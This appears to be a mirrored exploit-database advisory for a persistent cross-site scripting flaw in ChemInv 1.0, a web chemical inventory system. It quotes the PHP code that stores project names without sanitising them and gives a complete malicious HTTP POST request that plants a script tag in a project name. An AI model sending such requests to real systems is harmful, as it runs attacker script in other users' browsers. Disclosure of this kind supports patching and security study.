cheminv 1.0 authenticated persistent crosssite scripting

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




cheminv 1.0 authenticated persistent crosssite scripting Code Code...
				
# Exploit Title: ChemInv 1.0 - Authenticated Persistent Cross-Site Scripting # Exploit Author: Bobby Cooke # Date: 2020-04-29 # Software Link: https://github.com/tmorrell/cheminv # Software Info: # "Cheminv is a web-based chemical inventory system. This responsive database provides an accessible way to organize and order chemicals, and is provided as an open-source package for all non-commercial users." # "Cheminv was created by Thomas Morrell for the Haw Yang Lab at Princeton University" # "Cheminv is based on ecDB www.ecDB.net, which was created by Nils Fredriksson aka. ElectricMan and designed by Buildlog." # Version: 1 # Tested On: CentOS # Vulnerability Type: # ChemInv suffers from a persistent cross-site scripting vulnerability(XSS). This vulnerability can be exploited to have all users of the system, with read access to the project, execute malicious client-side code; every time the users views the 'Projects' or 'Add Chemicals' tab. # The application's source code mitigates SQL injection (SQLi), but fails to sanitize HTML and JavaScript injections to the SQL database. # Vulnerable Source Code ## proj_list.php 33 include('include/include_proj_add.php'); 34 $AddProj = new ProjAdd; 35 $AddProj->AddProj(); 36 37 $proj_query = mysql_query("SELECT * FROM projects WHERE project_owner= $owner"); ## include/include_proj_add.php 2 class ProjAdd { 3 public function AddProj () { 4 5 require_once('include/login/auth.php'); 6 include('include/mysql_connect.php'); 7 8 if(isset($_POST['submit'])) { 9 $owner = $_SESSION['SESS_MEMBER_ID']; 10 $name = mysql_real_escape_string($_POST['name']); 11 12 if ($name == '') { 13 echo '<div class="message red">'; 14 echo 'You have to specify a name!'; 15 echo '</div>'; 16 } 17 else { 18 $sql="INSERT into projects (project_owner, project_name) VALUES ('$owner', '$name')"; 19 $sql_exec = mysql_query($sql); # Malicious POST Request to https://TARGET/proj_list.php POST /proj_list.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://TARGET/proj_list.php Content-Type: application/x-www-form-urlencoded Content-Length: 16 Connection: close Cookie: PHPSESSID=7af5kg3to8fstfum0to1ukpb85 name=evilProject<script>alert('XSS');</script>&submit=

Cheminv 1.0 authenticated persistent crosssite scripting Vulnerability / Exploit Source : Cheminv 1.0 authenticated persistent crosssite scripting



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.